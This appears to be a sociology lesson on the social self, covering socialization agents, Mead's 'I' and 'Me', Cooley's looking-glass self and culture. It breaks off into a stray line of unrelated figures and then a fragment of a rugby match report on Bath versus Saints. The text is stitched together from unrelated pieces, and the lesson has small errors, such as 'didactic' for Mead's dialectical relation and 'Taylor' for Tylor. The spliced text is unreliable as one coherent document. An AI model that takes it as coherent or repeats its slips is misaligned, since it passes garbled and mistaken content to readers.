Now let us start to explore the “self” as a social construction. Social construction means that individuals develop a sense of self-based on how they think other people see and judge them. They see themselves and construct a sense of identity, by interpreting what they think they see reflected about themselves in others' opinions and reactions. They incorporate these ideas into their sense of self. The classical sociological perspective of the self holds that the self is a relatively stable set of perceptions of who we are or our identity in relation to ourselves, others, and the social world. Our self is socially constructed in the sense that it is shaped through our interaction with other people. The sociological theories of the self try to explain how social processes such as socialization influence the development of the self.
Socialization is the process of learning one’s culture and how to live within it. In other words, it is the process whereby an individual learns to adjust to a group and behave in a way that is approved by the group. Through socialization, we develop our personalities and potentialities with the influence of our culture and society. As with socialization in general, we are not passive participants in this process but rather, have a powerful influence over how this process develops and its circumstances. The person can also be an agent of socialization. The self is constructed based on social roles through socialization agents (family, school, community, etc.). How people understand their sense of selves is closely tied to how they understand the world around them or their relationship with others.
The Self and the Social Agencies
Our development is largely influenced by the membership to crucial social groups that shape various aspects of our self; from our beliefs system, values orientation, and manifest behavior. Indeed, we are born into a family and toward the end of our lives, we evaluate our self in the context of our contribution to society, the quality of our social relationships, and how we have helped touch the lives of people we have directly encountered.
At the beginning of life, we are surrounded by our family. It is the most pervading, influential social that group that impacts ourselves in the entire course of development. The conceptions we hold about our world, the values we uphold in making choices and decisions, and our habits and persistent behavior have been formed in the context of our respective families.
Next to family, schools form a significant part of our social self. Our world perspectives go bigger as we get exposed to more people and a formal set of standards; but this time, we are expected to meet certain criteria of achievement and oftentimes, in collaborative learning conditions. We harness the knowledge that we get from our mentors and apply the socialization skills we got from our families in developing relationships with our school peers. The information we glean from books, lectures of our mentors, insights from our classmates is assimilated and imbibed consequently in the inner recesses of our self.
Aside from one’s family and school, our communities also shape our social self to a large extent. From an anthropological and sociological perspective, our cultural beliefs and practices are influenced by what our communities and societies dictate. Values such as faith in God, respect for the elderly, task persistence & dedication, and love for our country are often the products of communal settings we belong to and societal expectations imposed on us.
Mead and the Social Self
George Herbert Mead: The"I" Self and "Me" Self Theory
George Herbert Mead is an American Sociologist, and he is considered as the Father of American pragmatism, and one of the pioneers in the field of social psychology because of his contributions to the development of the person relating to various social factors. Mead is a well-known sociologist for his theory of the social self. It is based on the perspective that the self emerges from social interactions, such as observing and interacting with others, responding to others’ opinions about oneself, and internalizing them together with one’s feelings about oneself. For Mead, our self is not there at birth, but it is developed over time from social experiences and activities.
The social aspect of self is an important distinction because other sociologists and psychologists of Mead's time felt that the self was based on biological factors and inherited traits. According to Mead, the self is not there from birth, but it is developed over time from social experiences and activities.
Two Sides of the Self: The “I” and the “Me” Self
According to his theory, the self has two sides or phases: 'me' and 'I.' The 'me' is considered the socialized aspect of the individual. The 'me' represents learned behaviors, attitudes, and expectations of others and of society. This is sometimes referred to as the generalized other. The 'me' is considered a phase of the self that is in the past. The 'me' has been developed by the knowledge of society and social interactions that the individual has gained.
The 'I', can be considered the present and future phase of the self. The 'I' represents the individual's identity based on response to the 'me.' The 'I' says, 'Okay. Society says I should behave and socially interact one way, and I think I should act the same (or perhaps different),' and that notion becomes self.
The 'me' and the 'I' have a didactic relationship, like a system of checks and balances. The 'me' exercises societal control over one's self. The 'me' is what prevents someone from breaking the rules or boundaries of societal expectations. The 'I' allows the individual to still express creativity and individualism and understand when to possibly bend and stretch the rules that govern social interactions
Therefore,
The “Me” are the characteristics, behavior, and or actions done by a person that follows the “generalized others” that person interacts with. The “Me” is the attitudes, and behavior of the person with reference to their social environment
The “I” is the reaction of the individual to the attitude of others, as well as the manifestation of the individuality of the person. The “I” is one’s response to the established attitude and behavior that a person assumes in reference to their social interactions.
Caring for your Social Self
"Our selves are not created in isolation; we are not born with perceptions of ourselves as shy, interested in jazz, or charitable to others. Rather, these beliefs are determined by our observations of and interactions with others".
With the idea of Mead with regards to the establishment of the sense of self, socialization is a lifetime endeavor, and the people one interacts with will change throughout a person’s life. As such, considering the social environment one belongs to, along with the changes in the person’s development be it at school, home, or work, as well as the interactions, and experiences the person acquires from those people and situations, it helps define a more concrete identity and sense of self.
Cooley and the Looking Glass Self Theory
Cooley and the Looking-Glass Self Theory
Charles Horton Cooley and Looking Glass Self
When it comes to understanding ourselves, social interaction plays a more important role than many of us realize. According to sociologist Charles Horton Cooley, individuals develop their concept of self by observing how they are perceived by others, a concept Cooley coined as the “looking-glass self.” This process, particularly when applied to the digital age, raises questions about the nature of identity, socialization, and the changing landscape of self. The looking-glass self describes the process wherein individuals base their sense of self on how they believe others view them. Using social interaction as a type of “mirror,” people use the judgments they receive from others to measure their own worth, values, and behavior.
Cooley’s theory is notable because it suggests that self-concept is built not in solitude, but rather within social settings. In this way, society and individuals are not separate, but rather two complementary aspects of the same phenomenon. As one of the pioneer contributors to sociological perspectives, he asserted that people’s self-understanding is constructed, in part, by their perception of how others view them—a process termed “the looking glass self.” For Cooley, we gradually figure out who we are as we grow up. You figure out what you look like by looking in a mirror. However, you figure out who you are through social interactions.
The people you interact with become your “mirrors.” You see what they think of you when you interact with them, and it changes the way you think of yourself. According to Society in Focus, the process of discovering the looking-glass self occurs in three steps:
An individual in a social situation imagines how they appear to others.
That individual imagines others’ judgment of that appearance.
The individual develops feelings about and responds to those perceived judgments.
The process of the looking-glass self is further complicated by the context of each interaction and the nature of the people involved. Not all feedback carries the same weight, for instance. People may take the responses from those whom they trust more seriously than those of strangers. Signals may be misinterpreted. People also usually take their own value systems into consideration when thinking through any changes to their behavior or views of self.
Ultimately, the process of the looking-glass self is one of alignment. People constantly seek to create consistency between their internal and external worlds and, therefore, continue to perceive, adjust, and strive for equilibrium throughout their lives.
Summary
In summary, the looking-glass self describes the process wherein individuals base their sense of self on how they believe others view them.
Using social interaction as a type of “mirror,” people use the judgments they receive from others to measure their own worth, values, and behavior.
Cooley’s theory is notable because it suggests that self-concept is built not in solitude, but rather within social settings. In this way, society and individuals are not separate, but rather two complementary aspects of the same phenomenon.
The process of the looking-glass self is further complicated by the context of each interaction and the nature of the people involved.
Not all feedback carries the same weight, for instance. People may take the responses from those whom they trust more seriously than those of strangers.
Signals may be misinterpreted. People also usually take their own value systems into consideration when thinking through any changes to their behavior or views of self. Ultimately, the process of the looking-glass self is one of alignment.
People constantly seek to create consistency between their internal and external worlds and, therefore, continue to perceive, adjust, and strive for equilibrium throughout their lives.
The Self Embedded in Culture
The Self Embedded in Culture
Culture influences what will affect you emotionally, as well as how you express yourself, such as showing your feelings in public or keeping it private. Anthropologists believe that culture is the full range of learned behavior patterns, as
Sir Edward B. Taylor,
founder of cultural anthropology, defined. Culture as 'a complex whole that includes knowledge, beliefs, morals, law, customs, arts, and any other capabilities and habits acquired by a human as a member of society. Likewise, characteristics of culture include culture is shared, symbolic, natural, learned, integrated, encompassing and maladaptive, and adaptive
Culture is everything that makes up the way a group of people lives. It includes their beliefs, values, and traditions. The experiences we go through in life are facilitated by the culture we live in because culture provides the environment which allows all these experiences to take place.
There are two components of culture that are essential in understanding how the self is being influenced by it:
Material culture consists of human technology - all the things that people make and use. These are the physical manifestations of culture. The goods and products we buy and the products we use are also included here.
Non-material culture includes intangible human creations like beliefs, values, norms, morals, rules, language, and organizations. This also helps shape our perspective of the society of ourselves, and even of the material world.
Culture helps us define how we see ourselves and how we relate to others. Remember that we differ in many ways: language diversity, cultural diversity, gender diversity, religious diversity, and economic diversity. All these aspects of diversity work together to form our sense of self. Always remember that it is important for you to respect others' cultures and acknowledge and understand that individuals may not develop a sense of self in the same manner. A family’s cultural values shape the development of the child’s self-concept.
Culture shapes how we each see ourselves and others. For instance, some cultures prefer children to be quiet and respectful when around adults. This does not mean that a quiet child lacks self-confidence. Young children learn from stories told to them that often emphasize a family’s values and affect how a child develops his self-concept. Every family influences a child’s self-concept within their cultural context. Young children may describe themselves based on their family’s values, beliefs, and morals
Now, take a moment to reflect on the influence your culture has had on your sense of self. To find yourself and truly know who you are, knowing your roots is just the foundation. Remember, culture influences us in more ways than we may know. So, take a moment and reflect on who you are, where you come from, and what you believe in. Self-reflection is the first step of self-discovery.
3,624,807 22,117 (13,743 mi) 2022 1.451 1,451,689,993.
It still made for a physical contest on a lovely evening at the Rec which, unlike certain other English stadiums, has not suddenly been reinvented as the Thatchers Thunderdome or the Avon Arena over the summer. The presence of the watching England head coach, Steve Borthwick, added to the sense of occasion and the home side made a suitably fast start. Good work from the forwards, with Miles Reid prominent on his 100th game for Bath, forced a useful advantage after just five minutes and the backs worked Cokanasiga over for the season’s opening try.
Saints could also have done without Smith, last season’s league top-scorer, missing a straightforward early penalty and were suitably relieved when Russell was also unable to nail a decent opportunity at the other end. Soon enough, though, they were level at 7-7 after George Furbank cut a lovely line to put his new Australian teammate Kemeny over for a fine score.
It was the signal for the tempo of the game to increase. Bath’s Will Butt might not be his side’s best-known centre but he looks in excellent early-season shape and was central to their second try, splitting the visiting cover to allow Spencer to put the galloping Hill over.
